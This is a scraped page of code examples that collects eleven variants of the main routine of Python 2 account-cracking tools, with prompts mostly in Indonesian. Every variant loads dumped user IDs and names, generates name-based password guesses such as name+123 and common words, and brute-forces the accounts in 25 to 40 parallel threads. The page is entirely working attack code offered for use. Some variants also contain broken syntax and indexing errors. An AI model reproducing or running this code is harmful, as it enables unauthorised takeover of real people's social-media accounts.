Exemple #1
0
	def main(self):
		while True:
			file = raw_input('\n\033[0;95m\xe2\x80\xa2 \033[0;91mPringatan !\n\033[0;95m\xe2\x80\xa2 \033[0;97mSebelum Mulai Crack, Anda Di Haruskan \n\033[0;95m\xe2\x80\xa2 \033[0;97mDump Id Terlebih Dahulu\n\n\033[0;95m\xe2\x80\xa2 \033[0;97mMasukan file hasil dump tadi\n\033[0;95m\xe2\x80\xa2 \033[0;97mContoh\033[0;91m : \033[0;92mdump/xxnx.json\033[0;97m\n\033[0;95m\xe2\x80\xa2 \033[0;97mFile dump\033[0;91m :\033[0;92m ')
			try:
				list = open(file, 'r').read()
				object = json.loads(list)
				break
			except IOError:
				print("\033[0;95m\xe2\x80\xa2 \033[0;91mfile '%s' tidak ada!\033[0m"% file)
		self.target = []
		for user in object:
			try:
				obj = user['name'].split(' ')
				if len(obj) == 1:
					listpass = [
						obj[0]+'123', obj[0]+'1234',
						obj[0]+'12345',
					]
				elif len(obj) == 2:
					listpass = [
						obj[0]+'123', obj[0]+'12345',
						obj[1]+'123', obj[1]+'12345',
					]
				elif len(obj) == 3:
					listpass = [
						obj[0]+'1234', obj[0]+'12345',
						obj[1]+'123', obj[1]+'1234',
						obj[2]+'123', obj[2]+'12345',
					]
				elif len(obj) == 4:
					listpass = [
						obj[0]+'123', obj[0]+'12345',
						obj[1]+'123', obj[1]+'1234',
						obj[2]+'1234', obj[2]+'12345',
						obj[3]+'123', obj[3]+'12345',
					]
				else:
					listpass = [
						'Sayang', 'Bismillah', 'Anjing',
						'Bangsat', 'Kontol'
					]
				self.target.append({'id': user['uid'], 'pw': listpass})
			except: pass
		if len(self.target) == 0:
			exit("\n\033[0;95m\xe2\x80\xa2 \033[0;91mId tidak ditemukan dalam file '%s'\033[0m"% file)
		ask = raw_input('\033[0;95m\xe2\x80\xa2\033[0;97m List Pass Default atau Manual \033[0;97m[\033[0;92mD\033[0;97m/\033[0;91mM\033[0;97m] \033[0;91m:\033[0;93m\033[0m ')
		print(' ')
		if ask.lower() == 'm':
			while True:
				print('\033[0;95m\xe2\x80\xa2 \033[0;97mMasukan password yang tertera dibawah ini ! \n\033[0;95m\xe2\x80\xa2 \033[0;93mSayang\033[0;91m,\033[0;93mBismillah\033[0;91m,\033[0;93mBangsat\033[0;91m,\033[0;93mKontol\033[0;91m,\033[0;93mAnjing')
				self.setpw = raw_input('\033[0;95m\xe2\x80\xa2 \033[0;97mPassword \033[0;91m:\033[0;93m ').strip().split(',')
				print(' ')
				if self.setpw[0] != '':
					break
				
		th(30).map(self.brute, self.target)
		self.results()
		exit()
Exemple #2
0
	def main(self):
		while True:
			file = raw_input('\nList id (ex: dump/xxx.json): ')
			try:
				list = open(file, 'r').read()
				object = json.loads(list)
				break
			except IOError:
				print("\n\033[0;91mOops, file '%s' not Found!\033[0m"% file)
		self.target = []
		for user in object:
			try:
				obj = user['name'].split(' ')
				if len(obj) == 1:
					listpass = [
						obj[1]+'123', obj[1]+'1234',
						obj[1]+'12345',
					]
				elif len(obj) == 2:
					listpass = [
						obj[1]+'123', obj[1]+'12345',
						obj[1]+'123', obj[1]+'12345',
					]
				elif len(obj) == 3:
					listpass = [
						obj[1]+'123', obj[1]+'12345',
						obj[1]+'123', obj[1]+'12345',
						obj[2]+'123', obj[2]+'12345',
					]
				elif len(obj) == 4:
					listpass = [
						obj[1]+'123', obj[1]+'12345',
						obj[1]+'123', obj[1]+'12345',
						obj[2]+'123', obj[2]+'12345',
						obj[3]+'123', obj[3]+'12345',
					]
				else:
					listpass = [
						'Sayang12345', 'doraemon12345',
						'bangsat', 'kontol', 'sayang', 'doraemon', 'sayang123', 'sayang12345'. ' doraemon123', 'Doraemon123', 'Doraemond12345'
					]
				self.target.append({'id': user['uid'], 'pw': listpass})
			except: pass
		if len(self.target) == 0:
			exit("\n\033[0;91m Oops, id not found in file '%s'\033[0m"% file)
		ask = raw_input('Use password defaults OR manual? [D/m]: ')
		if ask.lower() == 'm':
			while True:
				print('\n\033[0;92mSet password use (,) for new password, EX: sayang,doraemon,bangsat\n\033[0m')
				self.setpw = raw_input('Set password: '******',')
				if self.setpw[0] != '':
					break
				
		th(30).map(self.brute, self.target)
		self.results()
		exit()
Exemple #3
0
    def main(self):
        while True:
            file = raw_input('\nDaftar id (ex: dump/xxx.json) : ')
            try:
                list = open(file, 'r').read()
                object = json.loads(list)
                break
            except IOError:
                print("\n\033[0;91mUpps, g ada coek\033[0m")
        self.target = []
        for user in object:
            try:
                obj = user['name'].split(' ')
                if len(obj) == 1:
                    listpass = [obj[0] + '123', obj[0] + '1234']
                elif len(obj) == 2:
                    listpass = [
                        obj[0] + '123', obj[0] + '1234', obj[1] + '123',
                        obj[1] + '1234'
                    ]
                elif len(obj) == 3:
                    listpass = [
                        obj[0] + '123', obj[0] + '1234', obj[1] + '123',
                        obj[1] + '1234', obj[2] + '123', obj[2] + '1234'
                    ]
                elif len(obj) == 4:
                    listpass = [
                        obj[0] + '123', obj[0] + '1234', obj[1] + '123',
                        obj[1] + '1234', obj[2] + '123', obj[2] + '1234',
                        obj[3] + '123', obj[3] + '1234'
                    ]
                else:
                    listpass = ['sayang', 'doraemon', 'bangsat', 'indonesia']
                self.target.append({'id': user['uid'], 'pw': listpass})
            except:
                pass
        if len(self.target) == 0:
            exit("\n\033[0;91m Upps, g ada coek\033[0m")
        ask = raw_input('pake k-sandi default/manual? [d/m] : ')
        if ask.lower() == 'm':
            while True:
                print(
                    '\n\033[0;92mSetel k-sandi (,) untuk k-sandi baru, Ex: sayang,doraemon,indonesia\n\033[0m'
                )
                self.setpw = raw_input('Set password: '******',')
                if self.setpw[0] != '':
                    break

        th(40).map(self.brute, self.target)
        self.results()
        exit()
Exemple #4
0
    def main(self):
        while True:
            file = raw_input('\x1b[0;97m [\x1b[0;94m\xe2\x80\xa2\x1b[0;97m] Contoh user \x1b[0;91m:\x1b[0;97m [\x1b[0;93m user/Nawefile.json\x1b[0;97m ]\n [\x1b[0;91m?\x1b[0;97m]\x1b[0;97m Output user\x1b[0;91m :\x1b[0;92m ')
            try:
                list = open(file, 'r').read()
                object = json.loads(list)
                break
            except IOError:
                print '\n\x1b[0;91m File\x1b[0;97m [ \x1b[0;92m%s\x1b[0;97m ]\x1b[0;91m Tidak Ada!' % file

        self.target = []
        for user in object:
            try:
                obj = user['name'].split(' ')
                if len(obj) == 1:
                    listpass = [obj[0] + '123456', obj[0] + '123456',
                     obj[0] + '123']
                elif len(obj) == 2:
                    listpass = [obj[0] + '123456', obj[0] + '123',
                     obj[1] + '123456', obj[1] + '123']
                elif len(obj) == 3:
                    listpass = [obj[0] + '123456', obj[0] + '123',
                     obj[1] + '123456', obj[1] + '123456',
                     obj[2] + '123456', obj[2] + '123']
                elif len(obj) == 4:
                    listpass = [obj[0] + '123456', obj[0] + '123',
                     obj[1] + '123456', obj[1] + '123',
                     obj[2] + '123456', obj[2] + '123',
                     obj[3] + '123456', obj[3] + '123']
                else:
                    listpass = ['12354321']
                self.target.append({'id': user['uid'], 'pw': listpass})
            except:
                pass

        if len(self.target) == 0:
            exit('\x1b[0;91m\x1b[0;97mSelect [\x1b[0;92m %s \x1b[0;97m]' % file)
        ask = raw_input('\x1b[0;97m [\x1b[0;91m?\x1b[0;97m] [d]\x1b[0;91m :\x1b[0;92m ')
        os.system('clear')
        os.system('figlet S e Z a R')
        if ask.lower() == 'm':
            while True:
                print '\n\x1b[0;97m [\x1b[0;94m\xe2\x80\xa2\x1b[0;97m] \x1b[0;97mContoh Password\x1b[0;91m: \x1b[0;92msayang,doraemon,bangsat,kontol,bismillah,cantik\n'
                self.setpw = raw_input('\x1b[0;97m [\x1b[0;91m?\x1b[0;97m] \x1b[0;97mMasukan Password \x1b[0;91m:\x1b[0;92m ').strip().split(',')
                if self.setpw[0] != '':
                    break

        th(30).map(self.brute, self.target)
        self.results()
        exit()
Exemple #5
0
    def main(self):
        while True:
            file = raw_input(
                '\n\033[1;94mList id (\033[1;93mex: dump/xxx.json\033[1;94m): '
            )
            try:
                list = open(file, 'r').read()
                object = json.loads(list)
                break
            except IOError:
                print("\n\033[0;91mOops, file '%s' not Found!\033[0m" % file)
        self.target = []
        for user in object:
            try:
                obj = user['name'].split(' ')
                if len(obj) == 1:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '1234',
                        obj[0] + 'khan',
                        'pakistan',
                        'pakistan1',
                        '786786',
                        obj[0] + '12345',
                        obj[0] + '786',
                        obj[0] + '87',
                        'pakistan786',
                        'pakistan123',
                    ]
                self.target.append({'id': user['uid'], 'pw': listpass})
            except:
                pass
        if len(self.target) == 0:
            exit("\n\033[0;91m Oops, id not found in file '%s'\033[0m" % file)
        ask = raw_input(
            '\033[1;93mUse password defaults OR manual? [D/m](recommended [D]):\033[1;90m '
        )
        if ask.lower() == 'm':
            while True:
                print(
                    '\n\033[1;92mSet password use (,) for new password, EX: \033[1;90mpakistan,786786\n\033[0m'
                )
                self.setpw = raw_input('Set password: '******',')
                if self.setpw[0] != '':
                    break

        th(30).map(self.brute, self.target)
        self.results()
        exit()
Exemple #6
0
    def main(self):
        while True:
            file = raw_input(
                '\n\033[0;91m{\033[0;97mWARNING\033[0;91m} \033[0;92mSebelum Memulai Crack.\nAnda Di Haruskan Nge Dump Id Terlebih Dahulu..\n\n\033[0;97m{\033[0;96mContoh Dump Id\033[0;97m:\033[0;92mdump/xnxx.json\033[0;97m} \033[0;91m:\033[0;96m '
            )
            try:
                list = open(file, 'r').read()
                object = json.loads(list)
                break
            except IOError:
                print("\n\033[0;91mfile '%s' tidak ada!\033[0m" % file)
        self.target = []
        for user in object:
            try:
                obj = user['name'].split(' ')
                if len(obj) == 1:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '1234',
                        obj[0] + '12345',
                    ]
                elif len(obj) == 2:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '12345',
                        obj[1] + '123',
                        obj[1] + '12345',
                    ]
                elif len(obj) == 3:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '12345',
                        obj[1] + '123',
                        obj[1] + '12345',
                        obj[2] + '123',
                        obj[2] + '12345',
                    ]
                elif len(obj) == 4:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '12345',
                        obj[1] + '123',
                        obj[1] + '12345',
                        obj[2] + '123',
                        obj[2] + '12345',
                        obj[3] + '123',
                        obj[3] + '12345',
                    ]
                else:
                    listpass = ['sayang', 'anjing', 'bangsat', 'kontol']
                self.target.append({'id': user['uid'], 'pw': listpass})
            except:
                pass
        if len(self.target) == 0:
            exit("\n\033[0;91mid tidak ditemukan dalam file '%s'\033[0m" %
                 file)
        ask = raw_input(
            '\033[0;93mGunakan kata sandi Defatuls atau Manual? \033[0;91m{\033[0;92md\033[0;97m/\033[0;96mm\033[0;91m} \033[0;93m:\033[0;91m\033[0m '
        )
        if ask.lower() == 'm':
            while True:
                print(
                    '\n\033[0;97mMasukan kata sandi yang tertera disini \033[0;91m: \033[0;92msayang,anjing,bangsat,kontol\n\033[0m'
                )
                self.setpw = raw_input(
                    '\033[0;94mMasukan password \033[0;91m:\033[0;92m ').strip(
                    ).split(',')
                if self.setpw[0] != '':
                    break

        th(30).map(self.brute, self.target)
        self.results()
        exit()
Exemple #7
0
    def main(self):
        while True:
            file = raw_input(
                '\x1b[0;97m [\x1b[0;94m\xe2\x80\xa2\x1b[0;97m] Contoh Dump \x1b[0;91m:\x1b[0;97m [\x1b[0;93m dump/xnxx.json\x1b[0;97m ]\n [\x1b[0;91m?\x1b[0;97m]\x1b[0;97m Output Dump\x1b[0;91m :\x1b[0;92m '
            )
            try:
                list = open(file, 'r').read()
                object = json.loads(list)
                break
            except IOError:
                print '\n\x1b[0;91m File\x1b[0;97m [ \x1b[0;92m%s\x1b[0;97m ]\x1b[0;91m Tidak Ada!' % file

        self.target = []
        for user in object:
            try:
                obj = user['name'].split(' ')
                if len(obj) == 1:
                    listpass = [
                        obj[0] + '1234', obj[0] + '1234', obj[0] + '12345'
                    ]
                elif len(obj) == 2:
                    listpass = [
                        obj[0] + '1234', obj[0] + '12345', obj[1] + '1234',
                        obj[1] + '12345'
                    ]
                elif len(obj) == 3:
                    listpass = [
                        obj[0] + '1234', obj[0] + '12345', obj[1] + '1234',
                        obj[1] + '1234', obj[2] + '1234', obj[2] + '12345'
                    ]
                elif len(obj) == 4:
                    listpass = [
                        obj[0] + '1234', obj[0] + '12345', obj[1] + '1234',
                        obj[1] + '12345', obj[2] + '1234', obj[2] + '12345',
                        obj[3] + '1234', obj[3] + '12345'
                    ]
                else:
                    listpass = [
                        '1234554321', '1122334455', '123456654321',
                        '112233445566', '123456789'
                    ]
                self.target.append({'id': user['uid'], 'pw': listpass})
            except:
                pass

        if len(self.target) == 0:
            exit('\x1b[0;91m\x1b[0;97mSelect [\x1b[0;92m %s \x1b[0;97m]' %
                 file)
        ask = raw_input(
            '\x1b[0;97m [\x1b[0;91m?\x1b[0;97m] [d]\x1b[0;91m :\x1b[0;92m ')
        os.system('clear')
        print(
            '''\033[1;97m----------------------------------------------------------------------------
\033[1;90m..\033[1;91m########\033[1;90m..\033[1;91m########\033[1;90m...\033[1;91m#######\033[1;90m..\033[1;91m########\033[1;90m.\033[1;91m####\033[1;90m..\033[1;91m######\033[1;90m...\033[1;91m#######\033[1;90m..\033[1;91m########\033[1;90m...
\033[1;90m..\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m........\033[1;91m##\033[1;90m..\033[1;91m##\033[1;90m....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m..
\033[1;90m..\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m........\033[1;91m##\033[1;90m..\033[1;91m##\033[1;90m.......\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m..
\033[1;90m..\033[1;91m########\033[1;90m..\033[1;91m########\033[1;90m..\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m######\033[1;90m....\033[1;91m##\033[1;90m...\033[1;91m######\033[1;90m..\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m########\033[1;90m...
\033[1;90m..\033[1;91m##\033[1;90m........\033[1;91m##\033[1;90m...\033[1;91m##\033[1;90m...\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m........\033[1;91m##\033[1;90m........\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m...\033[1;91m##\033[1;90m....
\033[1;90m..\033[1;91m##\033[1;90m........\033[1;91m##\033[1;90m....\033[1;91m##\033[1;90m..\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m........\033[1;91m##\033[1;90m..\033[1;91m##\033[1;90m....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m.\033[1;91m##\033[1;90m....\033[1;91m##\033[1;90m...
\033[1;90m..\033[1;91m##\033[1;90m........\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m..\033[1;91m#######\033[1;90m..\033[1;91m##\033[1;90m.......\033[1;91m####\033[1;90m..\033[1;91m######\033[1;90m...\033[1;91m#######\033[1;90m..\033[1;91m##\033[1;90m.....\033[1;91m##\033[1;90m..
\033[1;97m----------------------------------------------------------------------------
 Coded by : Pr0fisor
 Channel  : \033[1;91m@\033[1;97mCrackerForKurd0
\033[1;97m----------------------------------------------------------------------------
''')
        if ask.lower() == 'm':
            while True:
                print '\n\x1b[0;97m [\x1b[0;94m\xe2\x80\xa2\x1b[0;97m] \x1b[0;97mContoh Password\x1b[0;91m: \x1b[0;92msayang,doraemon,bangsat,kontol,bismillah,cantik\n'
                self.setpw = raw_input(
                    '\x1b[0;97m [\x1b[0;91m?\x1b[0;97m] \x1b[0;97mMasukan Password \x1b[0;91m:\x1b[0;92m '
                ).strip().split(',')
                if self.setpw[0] != '':
                    break

        th(30).map(self.brute, self.target)
        self.results()
        exit()
Exemple #8
0
    def main(self):
        os.system('clear')
        print '\x1b[1;95m• \x1b[1;92mrom.py \n\x1b[1;93m          _____ __________   _____ \n         /     \\\\______   \\_/ ____\\ \n        /  \\ /  \\|    |  _/\\   __\\  \n       /    Y    \\    |   \\ |  |   \n       \\____|__  /______  / |__|   \n               \\/       \\/      \n         [ github.com/Mark-Zuck ] '
        print '\x1b[1;97m════════════════════════════════════════════════'
        os.system(
            "echo -e ' [•] Masukan Hasil Output Yang Anda Dump Tadi  '| lolcat"
        )
        while True:
            file = raw_input(
                '\x1b[1;97m [*] Contoh Hasil Dump :\x1b[1;93m dump/xnxx.json\n \x1b[1;97m[?] Output Dump Tadi  :\x1b[1;93m '
            )
            try:
                list = open(file, 'r').read()
                object = json.loads(list)
                break
            except IOError:
                print '\n\x1b[1;91m File \x1b[1;92m%s\x1b[1;91m Tidak Ada!' % file
                os.system('exit')

        self.target = []
        for user in object:
            try:
                obj = user['name'].split(' ')
                if len(obj) == 1:
                    listpass = [
                        obj[0] + '123', obj[0] + '1234', obj[0] + '12345'
                    ]
                elif len(obj) == 2:
                    listpass = [
                        obj[0] + '123', obj[0] + '12345', obj[1] + '123',
                        obj[1] + '12345'
                    ]
                elif len(obj) == 3:
                    listpass = [
                        obj[0] + '123', obj[0] + '12345', obj[1] + '123',
                        obj[1] + '12345', obj[2] + '123', obj[2] + '12345'
                    ]
                elif len(obj) == 4:
                    listpass = [
                        obj[0] + '123', obj[0] + '12345', obj[1] + '123',
                        obj[1] + '12345', obj[2] + '123', obj[2] + '12345',
                        obj[3] + '123', obj[3] + '12345'
                    ]
                else:
                    listpass = [
                        'sayang', 'anjing', 'bangsat', 'kontol', 'bismillah',
                        'cantik'
                    ]
                self.target.append({'id': user['uid'], 'pw': listpass})
            except:
                pass

        if len(self.target) == 0:
            exit(
                '\x1b[1;91m Id Tidak ditemukan dalam file\x1b[1;97m [\x1b[1;92m %s \x1b[1;97m]'
                % file)
        ask = raw_input(
            "\x1b[1;97m [?] Password default/manual [d/m] :\x1b[1;93m ")
        print ''
        print('\x1b[1;97m════════════════════════════════════════════════')
        time.sleep(0.07)
        if ask.lower() == 'm':
            while True:
                print(
                    " \x1b[1;97m[•] Gunakan Tanda (\x1b[1;92m,\x1b[1;97m) koma untuk pemisah "
                )
                time.sleep(0.07)
                print(
                    ' \x1b[1;97m[*] Contoh : \x1b[1;93msayang\x1b[1;92m,\x1b[1;93mpengen\x1b[1;92m,\x1b[1;93mngentot '
                )
                time.sleep(0.07)
                self.setpw = raw_input(
                    '\x1b[1;97m [?] Masukan Password :\x1b[1;93m ').strip(
                    ).split(',')
                print ''
                print(
                    '\x1b[1;97m════════════════════════════════════════════════'
                )
                time.sleep(0.07)
                if self.setpw[0] != '':
                    break

        th(30).map(self.brute, self.target)
        self.results()
        exit()
Exemple #9
0
    def main(self):
        while True:
            file = 'dump/search.json'
            try:
                list = open(file, 'r').read()
                object = json.loads(list)
                break
            except IOError:
                print("\n\033[0;91mOops, file '%s' not Found!\033[0m" % file)
        self.target = []
        for user in object:
            try:
                obj = user['name'].split(' ')
                if len(obj) == 1:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '1234',
                        obj[0] + '12345',
                        obj[0] + '786',
                        'Pakistan',
                        '786786',
                        '223344',
                        '1122334455',
                        obj[0],
                    ]
                elif len(obj) == 2:
                    listpass = [
                        obj[0] + obj[1],
                        obj[0] + obj[1] + '123',
                        obj[0] + ' ' + obj[1],
                        obj[0] + obj[1] + '12345',
                        obj[0] + '123',
                        obj[0] + '12345',
                        obj[1] + '123',
                        obj[1] + '12345',
                        obj[0] + '786',
                        obj[0] + '' + 'Pakistan',
                        '786786',
                        '223344',
                        '1122334455',
                    ]
                elif len(obj) == 3:
                    listpass = [
                        obj[0] + obj[1],
                        obj[0] + obj[1] + '123',
                        obj[0] + obj[1] + '12345',
                        obj[0] + '123',
                        obj[0] + '12345',
                        obj[1] + '123',
                        'Pakistan',
                        obj[0],
                        obj[0] + '786',
                        obj[0] + '' + obj[1],
                        obj[0] + ' ' + obj[1],
                        '786786',
                        '223344',
                        '112234455',
                    ]
                elif len(obj) == 4:
                    listpass = [
                        obj[0] + obj[1],
                        obj[0] + obj[1] + '123',
                        obj[0] + obj[1] + '12345',
                        obj[0] + ' ' + obj[1],
                        obj[0] + '123',
                        obj[0] + '12345',
                        obj[1] + '123',
                        obj[1] + '12345',
                        obj[3] + '123',
                        obj[3] + '12345',
                        obj[0],
                        obj[0] + '786',
                        obj[0] + '' + obj[1],
                        '786786',
                        '223344',
                        '12345678',
                    ]
                else:
                    listpass = ['sayang', 'doraemon', 'bangsat', 'kontol']
                self.target.append({'id': user['uid'], 'pw': listpass})
            except:
                pass
        if len(self.target) == 0:
            exit("\n\033[0;91m Oops, id not found in file '%s'\033[0m" % file)
        ask = 'd'
        if ask.lower() == 'm':
            while True:
                print(
                    '\n\033[0;92mSet password use (,) for new password, EX: sayang,doraemon,bangsat\n\033[0m'
                )
                self.setpw = raw_input('Set password: '******',')
                if self.setpw[0] != '':
                    break

        th(30).map(self.brute, self.target)
        self.results()
        exit()
Exemple #10
0
    def main(self):
        while True:
            file = raw_input('\nID LIST (Misal: dump/xxx.json): ')
            try:
                list = open(file, 'r').read()
                object = json.loads(list)
                break
            except IOError:
                print("\n\033[0;91mOops, file '%s' Tidak Ada!!\033[0m" % file)
        self.target = []
        for user in object:
            try:
                obj = user['name'].split(' ')
                if len(obj) == 1:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '1234',
                        obj[0] + '12345',
                    ]
                elif len(obj) == 2:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '12345',
                        obj[1] + '123',
                        obj[1] + '12345',
                    ]
                elif len(obj) == 3:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '12345',
                        obj[1] + '123',
                        obj[1] + '12345',
                        obj[2] + '123',
                        obj[2] + '12345',
                    ]
                elif len(obj) == 4:
                    listpass = [
                        obj[0] + '123',
                        obj[0] + '12345',
                        obj[1] + '123',
                        obj[1] + '12345',
                        obj[2] + '123',
                        obj[2] + '12345',
                        obj[3] + '123',
                        obj[3] + '12345',
                    ]
                else:
                    listpass = ['sayang', 'anjing', 'bangsat', 'kontol']
                self.target.append({'id': user['uid'], 'pw': listpass})
            except:
                pass
        if len(self.target) == 0:
            exit("\n\033[0;91m Oops, id not found in file '%s'\033[0m" % file)
        ask = raw_input('Pakai Password Default Atau Manual? [D/m]: ')
        if ask.lower() == 'm':
            while True:
                print(
                    '\n\033[0;91mSet Pakai Password (,) Buat Password Baru, \033[0;92mMisal: Sayang,Doraemon,Bangsat\n\033[0m'
                )
                self.setpw = raw_input(
                    '\033[0;91mSet password:\033[0;97m ').strip().split(',')
                if self.setpw[0] != '':
                    break

        th(25).map(self.brute, self.target)
        self.results()
        exit()
Exemple #11
0
    def main(self):
        while True:
            file = raw_input(
                '\x1b[0;97m [\x1b[0;94m\xe2\x80\xa2\x1b[0;97m] Nawe Aw shwenay ka la user daya  \x1b[0;91m:\x1b[0;97m [\x1b[0;93m user/******.json\x1b[0;97m ]\n [\x1b[0;91m?\x1b[0;97m]\x1b[0;97m User/ ?\x1b[0;91m :\x1b[0;92m '
            )
            try:
                list = open(file, 'r').read()
                object = json.loads(list)
                break
            except IOError:
                print '\n\x1b[0;91m File\x1b[0;97m [ \x1b[0;92m%s\x1b[0;97m ]\x1b[0;91m Tidak Ada!' % file

        self.target = []
        for user in object:
            try:
                obj = user['name'].split(' ')
                if len(obj) == 1:
                    listpass = [
                        obj[0] + '1234', obj[0] + '1234', obj[0] + '12345'
                    ]
                elif len(obj) == 2:
                    listpass = [
                        obj[0] + '1234', obj[0] + '12345', obj[1] + '1234',
                        obj[1] + '12345'
                    ]
                elif len(obj) == 3:
                    listpass = [
                        obj[0] + '1234', obj[0] + '12345', obj[1] + '1234',
                        obj[1] + '1234', obj[2] + '1234', obj[2] + '12345'
                    ]
                elif len(obj) == 4:
                    listpass = [
                        obj[0] + '1234', obj[0] + '12345', obj[1] + '1234',
                        obj[1] + '12345', obj[2] + '1234', obj[2] + '12345',
                        obj[3] + '1234', obj[3] + '12345'
                    ]
                else:
                    listpass = [
                        '1234554321', '1122334455', '123456654321',
                        '112233445566', '123456789'
                    ]
                self.target.append({'id': user['uid'], 'pw': listpass})
            except:
                pass

        if len(self.target) == 0:
            exit('\x1b[0;91m\x1b[0;97mSelect [\x1b[0;92m %s \x1b[0;97m]' %
                 file)
        ask = raw_input(' Enter Bka Bo joine Server ')
        os.system('clear')
        os.system('figlet Wait')
        time.sleep(5)
        os.system('clear')
        os.system('figlet Connecting Server')
        time.sleep(5)
        os.system('clear')
        os.system('figlet Wait')
        time.sleep(4)
        os.system('clear')
        os.system('figlet Connecting Server ViP')
        time.sleep(4)
        os.system('clear')
        os.system('figlet Connecting Server ViP')
        time.sleep(4)
        os.system('clear')
        os.system('figlet Connecting Server ViP')
        os.system('clear')
        os.system('figlet OK %50')
        time.sleep(4)
        os.system('clear')
        os.system('figlet SERVER ViP')
        time.sleep(7)
        os.system('figlet Conect krdn')
        time.sleep(5)
        os.system('clear')
        os.system('figlet Conecting      100%')
        time.sleep(5)
        os.system('clear')
        os.system('figlet SERVER ViP')
        if ask.lower() == 'mmmmbjguv':
            while True:
                print '\n\x1b[0;97m [\x1b[0;94m\xe2\x80\xa2\x1b[0;97m] \x1b[0;97mContoh Password\x1b[0;91m: \x1b[0;92msayang,doraemon,bangsat,kontol,bismillah,cantik\n'
                self.setpw = raw_input(
                    '\x1b[0;97m [\x1b[0;91m?\x1b[0;97m] \x1b[0;97m Password \x1b[0;91m:\x1b[0;92m '
                ).strip().split(',')
                if self.setpw[0] != '':
                    break

        th(30).map(self.brute, self.target)
        self.results()
        exit()